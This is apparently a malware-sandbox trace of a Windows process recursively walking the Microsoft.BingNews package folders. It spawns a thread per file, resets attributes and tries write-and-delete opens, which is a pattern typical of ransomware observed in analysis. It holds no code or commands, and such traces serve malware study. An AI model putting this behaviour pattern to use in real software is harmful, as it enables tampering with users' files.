	[0079.179] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.179] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f210) returned 1
	[0079.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca3b0) returned 1

Thread:
	id = 709
	os_tid = 0x1a40

	[0079.180] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd")) returned 0x20
	[0079.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.182] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.182] GetLastError () returned 0x5
	[0079.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", dwFileAttributes=0x20) returned 0
	[0079.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ec70) returned 1

Thread:
	id = 710
	os_tid = 0x1a44

	[0079.183] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd")) returned 0x20
	[0079.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.183] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.183] GetLastError () returned 0x5
	[0079.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", dwFileAttributes=0x20) returned 0
	[0079.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3b750) returned 1

Thread:
	id = 711
	os_tid = 0x1a48

	[0079.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d6f210
	[0079.185] wcscpy (in: _Dest=0x2d6f210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.185] wcscat (in: _Dest=0x2d6f210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.185] wcscat (in: _Dest=0x2d6f210, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*"
	[0079.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45af55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.186] wcscmp (_String1=".", _String2=".") returned 0
	[0079.186] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45af55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.186] wcscmp (_String1="..", _String2=".") returned 1
	[0079.186] wcscmp (_String1="..", _String2="..") returned 0
	[0079.186] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 1
	[0079.186] wcscmp (_String1="Personalization", _String2=".") returned 1
	[0079.186] wcscmp (_String1="Personalization", _String2="..") returned 1
	[0079.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eb348
	[0079.186] wcscpy (in: _Dest=0x47eb348, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0079.186] wcscat (in: _Dest=0x47eb348, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\"
	[0079.186] wcscat (in: _Dest=0x47eb348, _Source="Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0079.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eb348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc
	[0079.187] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0
	[0079.187] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f210) returned 1
	[0079.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca480) returned 1

Thread:
	id = 712
	os_tid = 0x1a4c

	[0079.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea3a0
	[0079.188] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.188] wcscat (in: _Dest=0x47ea3a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.188] wcscat (in: _Dest=0x47ea3a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*"
	[0079.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.189] wcscmp (_String1=".", _String2=".") returned 0
	[0079.189] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa4624cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.189] wcscmp (_String1="..", _String2=".") returned 1
	[0079.189] wcscmp (_String1="..", _String2="..") returned 0
	[0079.189] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.189] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.189] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.189] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6f210
	[0079.189] wcscpy (in: _Dest=0x2d6f210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.189] wcscat (in: _Dest=0x2d6f210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.189] wcscat (in: _Dest=0x2d6f210, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0079.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d6f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100
	[0079.190] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.190] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0079.190] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca550) returned 1

Thread:
	id = 713
	os_tid = 0x1a50

	[0079.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb528
	[0079.191] wcscpy (in: _Dest=0x47eb528, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0079.191] wcscat (in: _Dest=0x47eb528, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0079.191] wcscat (in: _Dest=0x47eb528, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0079.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.192] wcscmp (_String1=".", _String2=".") returned 0
	[0079.192] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.192] wcscmp (_String1="..", _String2=".") returned 1
	[0079.192] wcscmp (_String1="..", _String2="..") returned 0
	[0079.192] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa466063, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.192] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb528) returned 1
	[0079.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768ab0) returned 1

Thread:
	id = 714
	os_tid = 0x1a54

	[0079.193] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini")) returned 0x20
	[0079.194] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.194] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.194] GetLastError () returned 0x5
	[0079.194] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d2b0) returned 1

Thread:
	id = 715
	os_tid = 0x1a58

	[0079.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476fbf0
	[0079.195] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.195] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.195] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*"
	[0079.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa466b87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.196] wcscmp (_String1=".", _String2=".") returned 0
	[0079.196] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa466b87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.196] wcscmp (_String1="..", _String2=".") returned 1
	[0079.196] wcscmp (_String1="..", _String2="..") returned 0
	[0079.196] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0079.196] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0079.196] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0079.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477ec70
	[0079.196] wcscpy (in: _Dest=0x477ec70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.196] wcscat (in: _Dest=0x477ec70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.196] wcscat (in: _Dest=0x477ec70, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js"
	[0079.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ec70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104
	[0079.197] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0079.197] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0079.197] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0079.197] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d70068
	[0079.197] wcscpy (in: _Dest=0x2d70068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
